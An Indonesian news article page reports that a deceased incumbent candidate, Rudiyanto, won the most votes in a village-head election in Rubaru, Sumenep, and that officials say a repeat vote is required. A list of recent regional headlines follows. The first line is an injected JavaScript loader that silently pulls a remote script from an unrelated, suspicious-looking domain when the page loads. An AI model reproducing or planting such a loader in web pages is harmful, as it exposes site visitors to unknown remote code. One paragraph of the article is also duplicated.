(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
WARGA +62

Peserta Pilkades di Sumenep Ini Sudah Meninggal Tetap Dipilih, Dulang Suara Terbanyak Pula


KANALKALIMANTAN.COM – Rudiyanto, salah satu peserta Pilkades (pemilihan kepala desa) Rubaru, Kabupaten Sumenep mendapat suara terbanyak, total 1.334 suara. Padahal Rudiyanto telah meninggal dunia.

Sedangkan dua calon kades lainnya, Moh. Munandar mengemas 1.005 suara, dan Abdul Latif hanya meraup 31 suara. Sosok almarhum Rudiyanto ini diketahui merupakan calon incumbent atau petahana.

“Hasil penghitungan suara yang kami lakukan, almarhum Rudiyanto mendapatkan suara terbanyak. Selisih suaranya dibanding perolehan terbanyak kedua adalah 339 suara,” ujar Ketua Panitia Pilkades Rubaru, Moh Fikri, mengutip dari Beritajatim.com jejaring media Suara.com, Kamis (25/11/2021).

Alasan Rudiyanto tetap dipilih meski telah wafat, lantaran sosok petahana tersebut dicintai masyarakat. Kemudian selama kepemimpinannya cukup banyak kemajuan yang terjadi di Desa Rubaru, terutama infrastruktur.

 

 

Baca juga: Sabet Juara I Nasional untuk Kalsel, Nishfa Raih Gelar Master Catur

Selain itu, dikenal selalu ada untuk masyarakat saat dibutuhkan. Karena itu, masyarakat tetap bersikeras memilih Rudiyanto, meski sudah tiada.

Selain itu, dikenal selalu ada untuk masyarakat saat dibutuhkan. Karena itu, masyarakat tetap bersikeras memilih Rudiyanto, meski sudah tiada.

Sementara, Kepala Dinas Pemberdayaan Masyarakat dan Desa (DPMD) Kabupaten Sumenep, Moh. Ramli menjelaskan, Pilkades Rubaru tetap bisa digelar meski ada satu calon yang meninggal.

“Di Desa Rubaru kan ada tiga calon. satu meninggal. Jadi masih ada dua calon. Ini memang boleh dan sah pemungutan suaranya,” terang Ramli.

Baca juga: Pemko Banjarbaru Buka Kesempatan UMKM Tampil ke Kancah Internasional

Namun, lanjut dia, hasil pemungutan suara bisa disahkan jika calon yang terpilih masih hidup. Lain cerita jika ternyata sudah meninggal. Maka, menurutnya, hasil pilkades di Desa Rubaru tidak dapat disahkan.

“Karena itu, untuk Desa Rubaru ini harus dilakukan pemungutan suara ulang pada Pilkades berikutnya. Untuk menjalankan roda pemerintahan desa, maka Bupati nanti akan menunjuk PJ hingga pelaksanaan Pilkades berikutnya,” papar Ramli. (Suara.com)

Editor: suara


Risa

Recent Posts

Peringatan Isra Mikraj di PTAM Intan Banjar Diisi Tausiah oleh Habib Syauqi

KANALKALIMANTAN.COM, BANJARBARU – Peringatan Isra Mikraj Nabi Besar Muhammad SAW 1447 Hijriah, di aula kantor… Read More

4 jam ago

Drainase dan Sungai Tersumbat Perparah Banjir Rob di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR meninjau titik banjir rob upaya… Read More

6 jam ago

Jalan Sehat Bank Kalsel Bersama Warga dan ASN Pemkab HSU ‎

KANALKALIMANTAN.COM, AMUNTAI - Bertajuk "Jalan Sehat ASN Bangga Pakai QRIS" Bank Kalsel menggelar jalan santai… Read More

6 jam ago

Mengawal Kasus Pembunuhan Zahra Dilla Lewat Gerakan Udara Aksi Kamisan

KANALKALIMANTAN.COM, BANJARBARU — Social Justice Institute Kalimantan (SJIK) kembali mengingatkan kasus pembunuhan Zahra Dilla yang… Read More

8 jam ago

Bappenas Dukung Bangun Jalan Basarang–Batanjung 54 Km, Target Fungsional 2027

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat dukungan pemerintah pusat dalam percepatan pembangunan… Read More

8 jam ago

Banjir Kalsel Bencana Ekologis, Wapres Gibran Sebut Ada Kesalahan Tata Ruang

KANALKALIMANTAN.COM, MARTAPURA - Wakil Presiden (Wapres) Gibran Rakabuming Raka meninjau langsung lokasi banjir di Kalimantan… Read More

12 jam ago

This website uses cookies.